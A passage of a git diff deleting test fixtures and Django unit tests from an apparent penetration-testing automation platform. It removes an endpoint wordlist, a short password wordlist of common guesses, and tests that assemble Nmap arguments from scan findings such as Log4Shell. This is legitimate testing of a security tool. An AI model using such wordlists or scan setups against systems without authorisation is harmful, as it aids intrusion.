-/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about \ No newline at end of file diff --git a/src/backend/testing/data/resources/passwords_wordlist.txt b/src/backend/testing/data/resources/passwords_wordlist.txt deleted file mode 100644 index 265afa5a7..000000000 --- a/src/backend/testing/data/resources/passwords_wordlist.txt +++ /dev/null @@ -1,3 +0,0 @@ -admin1234 -Enero2020 -password \ No newline at end of file diff --git a/src/backend/testing/executions/__init__.py b/src/backend/testing/executions/__init__.py deleted file mode 100644 index 72823053c..000000000 --- a/src/backend/testing/executions/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Testing for internal processes used during executions.''' diff --git a/src/backend/testing/executions/test_base_tool.py b/src/backend/testing/executions/test_base_tool.py deleted file mode 100644 index f7a65d44e..000000000 --- a/src/backend/testing/executions/test_base_tool.py +++ /dev/null @@ -1,661 +0,0 @@ -import os -from typing import List -from unittest import mock - -import django_rq -from authentications.enums import AuthenticationType -from authentications.models import Authentication -from django.utils import timezone -from findings.enums import DataType, Protocol, Severity -from findings.models import (OSINT, Credential, Exploit, Finding, Host, Path, - Port, Technology, Vulnerability) -from input_types.base import BaseInput -from input_types.models import InputType -from parameters.models import InputTechnology, InputVulnerability -from projects.models import Project -from resources.enums import WordlistType -from resources.models import Wordlist -from rq import SimpleWorker -from targets.enums import TargetType -from targets.models import Target, TargetPort -from tasks.enums import Status -from tasks.models import Task -from testing.mocks.defectdojo import (defect_dojo_error, defect_dojo_success, - defect_dojo_success_multiple) -from testing.mocks.nvd_nist import nvd_nist_success_cvss_3 -from testing.test_case import RekonoTestCase -from tools.enums import IntensityRank, Stage -from tools.exceptions import ToolExecutionException -from tools.models import Argument, Configuration, Input, Intensity, Tool -from tools.tools.base_tool import BaseTool -from tools.utils import get_tool_class_by_name -from users.models import User - -from executions.models import Execution - - -class BaseToolTest(RekonoTestCase): - '''Test cases for Base Tool operations.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - super().setUp() - self.data_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', 'data') # Testing data path - self.nmap_report = os.path.join(self.data_path, 'reports', 'nmap', 'enumeration-vulners.xml') # Nmap report - # Tool and related objects - self.nmap = Tool.objects.get(name='Nmap') - self.intensity = Intensity.objects.get(tool=self.nmap, value=IntensityRank.NORMAL) - self.configuration = Configuration.objects.create( # Configuration with all argument types - name='Test', - tool=self.nmap, - arguments=( - '{intensity} {test_osint} {test_only_host} {test_host} {test_port} {test_path} {test_technology} ' - '{test_credential} {test_vulnerability} {test_exploit} {test_wordlist} {test_authentication}' - ), - stage=Stage.ENUMERATION - ) - self.authentication_argument = Argument.objects.create( - tool=self.nmap, - name='test_authentication', - argument='--credential {secret}', - required=False - ) - # Initialize auxiliary lists to help data usage - self.arguments: List[Argument] = [self.authentication_argument] - self.targets: List[BaseInput] = [] - self.all_findings: List[Finding] = [] - self.required_findings: List[Finding] = [] - self.findings_to_use_targets: List[Finding] = [] - # Initialize environment for testing - self.wordlist = self.create_wordlists() - self.create_targets() - self.create_osint() - host = self.create_hosts() - self.port = self.create_ports(host) - self.create_paths(self.port) - self.technology = self.create_technologies(self.port) - self.create_credentials(self.technology) - self.vulnerability = self.create_vulnerabilities(self.technology) - self.exploit = self.create_exploits(self.vulnerability) - # Expected arguments - self.all_expected = ' '.join([ - '-T3', '--osint http://scanme.nmap.org/', '--only-host 45.33.32.156', '--host 45.33.32.156', - '--port 443', '--port-commas 80,443', '--endpoint /robots.txt', '--tech Wordpress', - '--version 1.0.0', '--email test@test.test', '--username test', '--secret test', - '--vuln CVE-2021-44228', '--exploit Test', f'--wordlist {self.wordlist.path}' - ]).split(' ') - # Expected required arguments - self.required_expected = ' '.join([ - '-T3', '--osint http://scanme.nmap.org/', '--only-host 45.33.32.156', '--host 45.33.32.156', - '--port 443', '--port-commas 80,443', '--tech Wordpress', - '--version 1.0.0', '--vuln CVE-2021-44228', '--exploit Test', f'--wordlist {self.wordlist.path}' - ]).split(' ') - # Tool instance - self.tool_class = get_tool_class_by_name(self.nmap.name) # Related tool class - # Related tool object - self.tool_instance: BaseTool = self.tool_class(self.new_execution, self.intensity, self.arguments) - - def create_wordlists(self) -> Wordlist: - '''Create wordlist data for testing. - - Returns: - Wordlist: Valid wordlist instance - ''' - endpoints1 = os.path.join(self.data_path, 'resources', 'endpoints_wordlist_1.txt') # Endpoint wordlist - endpoints2 = os.path.join(self.data_path, 'resources', 'endpoints_wordlist_2.txt') # Endpoint wordlist - # Wordlist filtered due to invalid checksum - filtered = Wordlist.objects.create( - name='Other', - type=WordlistType.ENDPOINT, - path=endpoints1, - checksum='invalid' - ) - wordlist = Wordlist.objects.create(name='Test', type=WordlistType.ENDPOINT, path=endpoints2) - argument = Argument.objects.create( - tool=self.nmap, - name='test_wordlist', - argument='--wordlist {wordlist}', - required=True - ) - Input.objects.create(argument=argument, type=InputType.objects.get(name='Wordlist')) - self.arguments.append(argument) - self.targets.extend([filtered, wordlist]) - return wordlist - - def create_targets(self) -> None: - '''Create target data for testing.''' - self.project = Project.objects.create( - name='Test', description='Test', tags=['test'], - defectdojo_product_id=1, - defectdojo_engagement_by_target=True, - defectdojo_synchronization=True - ) - # Target filtered due to target type. Private IP required - target_filtered = Target.objects.create(project=self.project, target='scanme.nmap.org', type=TargetType.DOMAIN) - target = Target.objects.create(project=self.project, target='45.33.32.156', type=TargetType.PUBLIC_IP) - self.target_port_http = TargetPort.objects.create(target=target, port=80) - target_port_https = TargetPort.objects.create(target=target, port=443) - input_technology = InputTechnology.objects.create( - target=target, - name='Wordpress', - version='1.0.0' - ) - input_vulnerability = InputVulnerability.objects.create( - target=target, - cve='CVE-2021-44228' - ) - user = User.objects.create_superuser('rekono', 'rekono@rekono.rekono', 'rekono') - task = Task.objects.create( - target=target, - tool=self.nmap, - configuration=self.configuration, - intensity=self.intensity.value, - status=Status.COMPLETED, - start=timezone.now(), - end=timezone.now(), - executor=user - ) - self.first_execution = Execution.objects.create( # Execution related to testing findings - task=task, - tool=task.tool, - configuration=task.configuration, - status=Status.COMPLETED, - start=timezone.now(), - end=timezone.now() - ) - self.new_execution = Execution.objects.create( # New execution for testing - task=task, - tool=task.tool, - configuration=task.configuration, - status=Status.REQUESTED - ) - self.targets.extend([ - target_filtered, target, - self.target_port_http, target_port_https, - input_technology, - input_vulnerability - ]) - - def create_osint(self) -> None: - '''Create OSINT data for testing.''' - # OSINT entity that can be used as argument. Only DOMAIN and IP are valid - osint_user = OSINT.objects.create(data='test', data_type=DataType.USER, source='Google') - osint_user.executions.add(self.first_execution) - osint_domain = OSINT.objects.create(data='scanme.nmap.org', data_type=DataType.DOMAIN, source='Google') - osint_domain.executions.add(self.first_execution) - argument = Argument.objects.create(tool=self.nmap, name='test_osint', argument='--osint {url}', required=True) - Input.objects.create(argument=argument, type=InputType.objects.get(name='OSINT')) - self.arguments.append(argument) - self.all_findings.extend([osint_user, osint_domain]) - self.required_findings.extend([osint_user, osint_domain]) - self.findings_to_use_targets.extend([osint_user, osint_domain]) - - def create_hosts(self) -> Host: - '''Create host data for testing. - - Returns: - Host: Valid host instance - ''' - # Host filtered due to address type. Private IP required - filtered = Host.objects.create(address='scanme.nmap.org') - filtered.executions.add(self.first_execution) - host = Host.objects.create(address='45.33.32.156') - host.executions.add(self.first_execution) - # Argument with only one input - argument_only_host = Argument.objects.create( - tool=self.nmap, - name='test_only_host', - argument='--only-host {host}', - required=True - ) - # Input filtered by host type: Private IP required - Input.objects.create(argument=argument_only_host, type=InputType.objects.get(name='Host'), filter='PUBLIC_IP') - # Argument with multiple inputs - argument = Argument.objects.create(tool=self.nmap, name='test_host', argument='--host {host}', required=True) - Input.objects.create(argument=argument, type=InputType.objects.get(name='Path'), order=1) - Input.objects.create(argument=argument, type=InputType.objects.get(name='Port'), order=2) - Input.objects.create(argument=argument, type=InputType.objects.get(name='Host'), order=3) - self.arguments.extend([argument_only_host, argument]) - self.all_findings.extend([filtered, host]) - self.required_findings.extend([filtered, host]) - return host - - def create_ports(self, host: Host) -> Port: - '''Create port data for testing. - - Args: - host (Host): Related host - - Returns: - Port: Valid port instance - ''' - # Port filtered due to service type. HTTP service required - filtered = Port.objects.create(host=host, port=22, protocol=Protocol.TCP, service='ssh') - filtered.executions.add(self.first_execution) - http = Port.objects.create(host=host, port=80, protocol=Protocol.TCP, service='http') - http.executions.add(self.first_execution) - https = Port.objects.create(host=host, port=443, protocol=Protocol.TCP, service='https') - https.executions.add(self.first_execution) - argument = Argument.objects.create( - tool=self.nmap, - name='test_port', - argument='--port {port} --port-commas {ports_commas}', - required=True, - multiple=True - ) - # Input filtered by service type: HTTP service required - Input.objects.create(argument=argument, type=InputType.objects.get(name='Port'), filter='http') - self.arguments.append(argument) - self.all_findings.extend([filtered, http, https]) - self.required_findings.extend([filtered, http, https]) - return http - - def create_paths(self, port: Port) -> None: - '''Create path data for testing. - - Args: - port (Port): Related port - ''' - # Path filtered due to HTTP status code. 200 Ok required - filtered = Path.objects.create(port=port, path='/admin', status=403) - filtered.executions.add(self.first_execution) - self.path = Path.objects.create(port=port, path='/robots.txt', status=200) - self.path.executions.add(self.first_execution) - argument = Argument.objects.create( - tool=self.nmap, - name='test_path', - argument='--endpoint {endpoint}', - required=False - ) - # Input filtered by HTTP status code: HTTP Ok required - Input.objects.create(argument=argument, type=InputType.objects.get(name='Path'), filter='200') - self.arguments.append(argument) - self.all_findings.extend([filtered, self.path]) - - def create_technologies(self, port: Port) -> Technology: - '''Create technology data for testing. - - Args: - port (Port): Related port - - Returns: - Technology: Valid technology instance - ''' - # Technology filtered by name: Wordpress required - filtered = Technology.objects.create(port=port, name='Joomla', version='1.0.0') - filtered.executions.add(self.first_execution) - technology = Technology.objects.create(port=port, name='Wordpress', version='1.0.0') - technology.executions.add(self.first_execution) - argument = Argument.objects.create( - tool=self.nmap, - name='test_technology', - argument='--tech {technology} --version {version}', - required=True - ) - # Input filtered by technology name: Wordpress required - Input.objects.create(argument=argument, type=InputType.objects.get(name='Technology'), filter='wordpress') - self.arguments.append(argument) - self.all_findings.extend([filtered, technology]) - self.required_findings.extend([filtered, technology]) - return technology - - def create_credentials(self, technology: Technology) -> None: - '''Create credential data for testing. - - Args: - technology (Technology): Related technology - ''' - credential = Credential.objects.create( - technology=technology, - email='test@test.test', - username='test', - secret='test' - ) - credential.executions.add(self.first_execution) - argument = Argument.objects.create( - tool=self.nmap, - name='test_credential', - argument='--email {email} --username {username} --secret {secret}', - required=False - ) - Input.objects.create(argument=argument, type=InputType.objects.get(name='Credential')) - self.arguments.append(argument) - self.all_findings.append(credential) - self.findings_to_use_targets.append(credential) - - def create_vulnerabilities(self, technology: Technology) -> Vulnerability: - '''Create vulnerability data for testing. - - Args: - technology (Technology): Related technology - - Returns: - Vulnerability: Valid vulnerability instance - ''' - # Vulnerability filtered due to CVE is required - filtered_1 = Vulnerability.objects.create( - technology=technology, - name='Predefined vulnerability', - description='Predefined vulnerability', - severity=Severity.HIGH, - cwe='CWE-20' - ) - filtered_1.executions.add(self.first_execution) - # Vulnerability filtered due to CVE doesn't match the required one - filtered_2 = Vulnerability.objects.create( - technology=technology, - name='CVE found', - description='CVE found', - severity=Severity.HIGH, - cve='CVE-1111-1111', - cwe='CWE-20' - ) - filtered_2.executions.add(self.first_execution) - vulnerability = Vulnerability.objects.create( - technology=technology, - name='Log4Shell', - description='Log4Shell', - severity=Severity.CRITICAL, - cve='CVE-2021-44228', - cwe='CWE-20' - ) - vulnerability.executions.add(self.first_execution) - argument = Argument.objects.create( - tool=self.nmap, - name='test_vulnerability', - argument='--vuln {cve}', - required=True - ) - # Input filtered by specific CVE - Input.objects.create( - argument=argument, - type=InputType.objects.get(name='Vulnerability'), - filter='CVE-2021-44228' - ) - self.arguments.append(argument) - self.all_findings.extend([filtered_1, filtered_2, vulnerability]) - self.required_findings.extend([filtered_1, filtered_2, vulnerability]) - return vulnerability - - def create_exploits(self, vulnerability: Vulnerability) -> Exploit: - '''Create exploit data for testing. - - Args: - vulnerability (Vulnerability): Related vulnerability - - Returns: - Vulnerability: Valid vulnerability instance - ''' - exploit = Exploit.objects.create(vulnerability=vulnerability, title='Test') - exploit.executions.add(self.first_execution) - argument = Argument.objects.create( - tool=self.nmap, - name='test_exploit', - argument='--exploit {exploit}', - required=True - ) - Input.objects.create(argument=argument, type=InputType.objects.get(name='Exploit')) - self.arguments.append(argument) - self.all_findings.append(exploit) - self.required_findings.append(exploit) - self.findings_to_use_targets.append(exploit) - return exploit - - def change_input_filters(self) -> None: - '''Change default input filters to test all filter types.''' - i = Input.objects.get( - argument__name='test_only_host', - type=InputType.objects.get(name='Host') - ) - i.filter = 'NOTFOUND' # By unknown address type. All included - i.save(update_fields=['filter']) - i = Input.objects.get( - argument__name='test_port', - type=InputType.objects.get(name='Port') - ) - i.filter = '80' # By port number - i.save(update_fields=['filter']) - i = Input.objects.get( - argument__name='test_path', - type=InputType.objects.get(name='Path') - ) - i.filter = '/robot' # By endpoint content - i.save(update_fields=['filter']) - i = Input.objects.get( - argument__name='test_vulnerability', - type=InputType.objects.get(name='Vulnerability') - ) - i.filter = 'CRITICAL' # By vulnerability severity - i.save(update_fields=['filter']) - - def test_default_tool_class(self) -> None: - '''Test get tool class from invalid name.''' - self.assertEqual(BaseTool, get_tool_class_by_name('NotFound')) - - def test_get_arguments_using_all_findings(self) -> None: - '''Test get_arguments feature using all the available findings.''' - arguments = self.tool_instance.get_arguments(self.targets, self.all_findings) - self.assertEqual(self.all_expected, arguments) - - def test_get_arguments_using_all_findings_without_filters(self) -> None: - '''Test get_arguments feature using all the available findings without input filters.''' - Input.objects.all().update(filter=None) # Remove all input filters - arguments = self.tool_instance.get_arguments(self.targets, self.all_findings) - expected = ' '.join([ - '-T3', '--osint http://scanme.nmap.org/', '--only-host scanme.nmap.org', '--host 45.33.32.156', - '--port 443', '--port-commas 22,80,443', '--endpoint /admin', '--tech Joomla', - '--version 1.0.0', '--email test@test.test', '--username test', '--secret test', - '--vuln CVE-1111-1111', '--exploit Test', f'--wordlist {self.wordlist.path}' - ]).split(' ') - self.assertEqual(expected, arguments) - - def test_get_arguments_using_all_findings_and_alternative_filters(self) -> None: - '''Test get_arguments feature using all the available findings and other filter types.''' - self.change_input_filters() # Change filter types - arguments = self.tool_instance.get_arguments(self.targets, self.all_findings) - expected = ' '.join([ - '-T3', '--osint http://scanme.nmap.org/', '--only-host scanme.nmap.org', '--host 45.33.32.156', - '--port 80', '--port-commas 80', '--endpoint /robots.txt', '--tech Wordpress', - '--version 1.0.0', '--email test@test.test', '--username test', '--secret test', - '--vuln CVE-2021-44228', '--exploit Test', f'--wordlist {self.wordlist.path}' - ]).split(' ') - self.assertEqual(expected, arguments) - - def test_get_arguments_using_authentication(self) -> None: - '''Test get_arguments feature using authentication.''' - # Filter targets and findings to include only one port - self.targets = [t for t in self.targets if not isinstance(t, TargetPort) or t == self.target_port_http] - self.all_findings = [f for f in self.all_findings if not isinstance(f, Port) or f == self.port] - authentication_input = Input.objects.create( # Create authentication input - argument=self.authentication_argument, - type=InputType.objects.get(name='Authentication'), - filter='!cookie' - ) - Authentication.objects.create( # Create authentication entity - target_port=self.target_port_http, - name='sessionid', credential='token', - type=AuthenticationType.COOKIE - ) - expected_list = [ - '-T3', '--osint http://scanme.nmap.org/', '--only-host 45.33.32.156', '--host 45.33.32.156', - '--port 80', '--port-commas 80', '--endpoint /robots.txt', '--tech Wordpress', - '--version 1.0.0', '--email test@test.test', '--username test', '--secret test', - '--vuln CVE-2021-44228', '--exploit Test', f'--wordlist {self.wordlist.path}' - ] - arguments = self.tool_instance.get_arguments(self.targets, self.all_findings) - self.assertEqual(' '.join(expected_list).split(' '), arguments) # Authentication is filter by type - authentication_input.filter = 'cookie' # Change input filter to cookie - authentication_input.save(update_fields=['filter']) - expected_list.append('--credential token') # Add expected argument - arguments = self.tool_instance.get_arguments(self.targets, self.all_findings) - self.assertEqual(' '.join(expected_list).split(' '), arguments) - - def test_get_arguments_using_required_findings(self) -> None: - '''Test get_arguments feature using only the required findings.''' - # Change findings relations for more test situations - self.vulnerability.technology = None - self.vulnerability.port = self.port # Change vulnerability relations - self.vulnerability.save(update_fields=['technology', 'port']) - self.exploit.vulnerability = None - self.exploit.technology = self.technology # Change technology relations - self.exploit.save(update_fields=['vulnerability', 'technology']) - arguments = self.tool_instance.get_arguments(self.targets, self.required_findings) - self.assertEqual(self.required_expected, arguments) - - def test_get_arguments_using_targets(self) -> None: - '''Test get_arguments feature using targets.''' - arguments = self.tool_instance.get_arguments(self.targets, self.findings_to_use_targets) - expected = ' '.join([ - '-T3', '--osint http://scanme.nmap.org/', '--only-host 45.33.32.156', '--host 45.33.32.156', - '--port 443', '--port-commas 80,443', '--tech Wordpress', - '--version 1.0.0', '--email test@test.test', '--username test', '--secret test', - '--vuln CVE-2021-44228', '--exploit Test', f'--wordlist {self.wordlist.path}' - ]).split(' ') - self.assertEqual(expected, arguments) - - def test_get_arguments_using_targets_without_filters(self) -> None: - '''Test get_arguments feature using targets without input filters.''' - Input.objects.all().update(filter=None) # Remove all input filters - arguments = self.tool_instance.get_arguments(self.targets, self.findings_to_use_targets) - expected = ' '.join([ - '-T3', '--osint http://scanme.nmap.org/', '--only-host scanme.nmap.org', '--host 45.33.32.156', - '--port 443', '--port-commas 80,443', '--tech Wordpress', - '--version 1.0.0', '--email test@test.test', '--username test', '--secret test', - '--vuln CVE-2021-44228', '--exploit Test', f'--wordlist {self.wordlist.path}' - ]).split(' ') - self.assertEqual(expected, arguments) - - def test_get_arguments_using_targets_and_alternative_filters(self) -> None: - '''Test get_arguments feature using targets and other filter types.''' - self.change_input_filters() - arguments = self.tool_instance.get_arguments(self.targets, self.findings_to_use_targets) - expected = ' '.join([ - '-T3', '--osint http://scanme.nmap.org/', '--only-host scanme.nmap.org', '--host 45.33.32.156', - '--port 80', '--port-commas 80', '--tech Wordpress', - '--version 1.0.0', '--email test@test.test', '--username test', '--secret test', - '--vuln CVE-2021-44228', '--exploit Test', f'--wordlist {self.wordlist.path}' - ]).split(' ') - self.assertEqual(expected, arguments) - - def test_check_arguments(self) -> None: - '''Test check_arguments feature.''' - self.assertTrue(self.tool_instance.check_arguments(self.targets, self.required_findings)) - self.assertFalse(self.tool_instance.check_arguments(self.targets, [])) - self.assertTrue(self.tool_instance.check_arguments(self.targets, self.findings_to_use_targets)) - self.assertFalse(self.tool_instance.check_arguments([], self.findings_to_use_targets)) - - def test_tool_execution(self) -> None: - '''Test tool_execution feature using ls command.''' - # Testing tool with ls command - tool = Tool.objects.create(name='Test', command='ls') - self.new_execution.tool = tool - self.new_execution.save(update_fields=['tool']) - self.tool_class = get_tool_class_by_name(tool.name) # Related tool class - # Related tool object - self.tool_instance = self.tool_class(self.new_execution, self.intensity, self.arguments) - errors_count = 0 - try: - self.tool_instance.tool_execution(['/directory-not-found']) # Directory not found - except ToolExecutionException as ex: - self.tool_instance.on_error(stderr=str(ex)) # Test on_error feature - self.assertEqual(Status.ERROR, self.new_execution.status) - self.assertEqual(str(ex).strip(), self.new_execution.output_error) - errors_count += 1 - self.tool_instance.tool_execution(['/']) # Valid ls execution - self.assertEqual(1, errors_count) - - def process_findings(self, imported_in_defectdojo: bool) -> None: - '''Execute process_findings feature using nmap report. - - Args: - imported_in_defectdojo (bool): Indicate if execution is expected to be imported in Defect-Dojo or not - ''' - queue = django_rq.get_queue('findings-queue') - queue.empty() # Clear findings queue - self.tool_instance.path_output = self.nmap_report # Set nmap report - self.tool_instance.create_finding(Path, path='/test') # Save endpoint to improve coverage - self.tool_instance.run(self.targets, self.all_findings) # Run tool - worker = SimpleWorker([queue], connection=queue.connection) # Create RQ worker for findings queue - worker.work(burst=True) # Launch RQ worker - execution = Execution.objects.get(pk=self.new_execution.id) - self.assertEqual(Status.COMPLETED, execution.status) - self.assertEqual(self.nmap_report, execution.output_file) - self.assertEqual(imported_in_defectdojo, execution.imported_in_defectdojo) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - @mock.patch('findings.nvd_nist.NvdNist.request', nvd_nist_success_cvss_3) # Mocks NVD NIST response - def test_process_findings_with_defectdojo_target_engagement(self) -> None: - '''Test process_findings feature with import in Defect-Dojo using target engagement.''' - self.process_findings(True) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - @mock.patch('findings.nvd_nist.NvdNist.request', nvd_nist_success_cvss_3) # Mocks NVD NIST response - def test_process_findings_with_defectdojo_product_engagement(self) -> None: - '''Test process_findings feature with import in Defect-Dojo using product engagement.''' - self.project.defectdojo_engagement_id = 1 # Product engagement Id - self.project.defectdojo_engagement_by_target = False # Disable engagements by target - self.project.save(update_fields=['defectdojo_engagement_id', 'defectdojo_engagement_by_target']) - self.process_findings(True) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - @mock.patch('defectdojo.api.DefectDojo.get_product', defect_dojo_error) - @mock.patch('findings.nvd_nist.NvdNist.request', nvd_nist_success_cvss_3) # Mocks NVD NIST response - def test_process_findings_with_defectdojo_engagement_not_found(self) -> None: - '''Test process_findings feature with import in Defect-Dojo using not found engagement.''' - self.project.defectdojo_engagement_id = 1 # Product engagement Id - self.project.defectdojo_engagement_by_target = False # Disable engagements by target - self.project.save(update_fields=['defectdojo_engagement_id', 'defectdojo_engagement_by_target']) - self.process_findings(False) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - @mock.patch('findings.nvd_nist.NvdNist.request', nvd_nist_success_cvss_3) # Mocks NVD NIST response - def test_process_findings_with_defectdojo_findings_import(self) -> None: - '''Test process_findings feature with import in Defect-Dojo using the Rekono findings.''' - self.nmap.defectdojo_scan_type = None # Import findings instead executions - self.nmap.save(update_fields=['defectdojo_scan_type']) - self.process_findings(True) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - @mock.patch('defectdojo.api.DefectDojo.get_rekono_test_type', defect_dojo_success_multiple) - @mock.patch('findings.nvd_nist.NvdNist.request', nvd_nist_success_cvss_3) # Mocks NVD NIST response - def test_process_findings_with_existing_defectdojo_test_type(self) -> None: - '''Test process_findings feature with import in Defect-Dojo using existing test type.''' - self.nmap.defectdojo_scan_type = None # Import findings instead executions - self.nmap.save(update_fields=['defectdojo_scan_type']) - self.process_findings(True) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_success) # Mocks Defect-Dojo response - @mock.patch('defectdojo.api.DefectDojo.create_rekono_test_type', defect_dojo_error) - @mock.patch('findings.nvd_nist.NvdNist.request', nvd_nist_success_cvss_3) # Mocks NVD NIST response - def test_process_findings_with_errors_in_defectdojo_test_type_creation(self) -> None: - '''Test process_findings feature with unexpected error during Defect-Dojo test type creation.''' - self.nmap.defectdojo_scan_type = None # Import findings instead executions - self.nmap.save(update_fields=['defectdojo_scan_type']) - self.process_findings(False) - - @mock.patch('defectdojo.api.DefectDojo.request', defect_dojo_error) # Mocks Defect-Dojo response - @mock.patch('findings.nvd_nist.NvdNist.request', nvd_nist_success_cvss_3) # Mocks NVD NIST response - def test_process_findings_with_unvailable_defectdojo(self) -> None: - '''Test process_findings feature with unavailable Defect-Dojo instance.''' - self.process_findings(False) - - def test_get_authentication(self) -> None: - '''Test get_authentication feature''' - # No authentication found - search = self.tool_instance.get_authentication([self.target_port_http], [self.port]) - self.assertEqual(None, search) - authentication = Authentication.objects.create( # Create authentication for testing - target_port=self.target_port_http, - name='test', - credential='test', - type=AuthenticationType.BASIC - ) - # Get authentication based on Port - search = self.tool_instance.get_authentication([self.target_port_http], [self.port]) - self.assertEqual(authentication, search) - # Get authentication based on TargetPort - search = self.tool_instance.get_authentication([self.target_port_http], []) - self.assertEqual(authentication, search) - # No authentication found - search = self.tool_instance.get_authentication([], []) - self.assertEqual(None, search) diff --git a/src/backend/testing/executions/test_executions_from_findings.py b/src/backend/testing/executions/test_executions_from_findings.py deleted file mode 100644 index 9857ef5e2..000000000 --- a/src/backend/testing/executions/test_executions_from_findings.py +++ /dev/null @@ -1,202 +0,0 @@ -from typing import Any - -from django.db.models import Model -from django.test import TestCase -from django.utils import timezone -from findings.models import Host, Path, Port -from input_types.base import BaseInput -from input_types.models import InputType -from projects.models import Project -from resources.enums import WordlistType -from resources.models import Wordlist -from targets.enums import TargetType -from targets.models import Target, TargetPort -from tasks.enums import Status -from tasks.models import Task -from tools.enums import IntensityRank, Stage -from tools.models import Argument, Configuration, Input, Tool - -from executions.models import Execution -from executions.utils import get_executions_from_findings - - -class ExecutionsFromFindingsTest(TestCase): - '''Test cases for get_executions_from_findings CRITICAL feature.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - super().setUp() - # Tool for testing - self.tool = Tool.objects.create(name='Test', command='ls') - configuration = Configuration.objects.create( - name='Test', - tool=self.tool, - arguments='-la', - stage=Stage.ENUMERATION - ) - # Host argument - test_host = Argument.objects.create(tool=self.tool, name='test_host', required=True) - Input.objects.create(argument=test_host, type=InputType.objects.get(name='Host')) - # Port argument - test_enum = Argument.objects.create(tool=self.tool, name='test_enum', required=True, multiple=True) - Input.objects.create(argument=test_enum, type=InputType.objects.get(name='Vulnerability'), order=1) - Input.objects.create(argument=test_enum, type=InputType.objects.get(name='Technology'), order=2) - Input.objects.create(argument=test_enum, type=InputType.objects.get(name='Port'), order=3) - # Path argument - test_path = Argument.objects.create(tool=self.tool, name='test_path', required=False) - Input.objects.create(argument=test_path, type=InputType.objects.get(name='Path')) - # Wordlist argument - test_word = Argument.objects.create(tool=self.tool, name='test_word', required=False) - Input.objects.create(argument=test_word, type=InputType.objects.get(name='Wordlist')) - # Project > Target > Task > Execution to create findings for testing - self.project = Project.objects.create(name='Test', description='Test', tags=['test']) - self.target = Target.objects.create(project=self.project, target='scanme.nmap.org', type=TargetType.DOMAIN) - task = Task.objects.create( - target=self.target, - tool=self.tool, - configuration=configuration, - intensity=IntensityRank.NORMAL, - status=Status.COMPLETED, - start=timezone.now(), - end=timezone.now() - ) - self.execution = Execution.objects.create( - task=task, - tool=task.tool, - configuration=task.configuration, - status=Status.COMPLETED, - start=timezone.now(), - end=timezone.now() - ) - - def create_finding(self, finding_type: Model, **fields: Any) -> BaseInput: - '''Create finding and assign it to the testing execution. - - Args: - finding_type (Model): Finding model - - Returns: - Finding: Finding instance - ''' - finding = finding_type.objects.create(**fields) - finding.executions.add(self.execution) # Add execution to the finding - return finding - - def test_with_findings(self) -> None: - '''Test get_executions_from_findings feature with findings.''' - # Host 1 with some endpoints in some ports - host_1 = self.create_finding(Host, 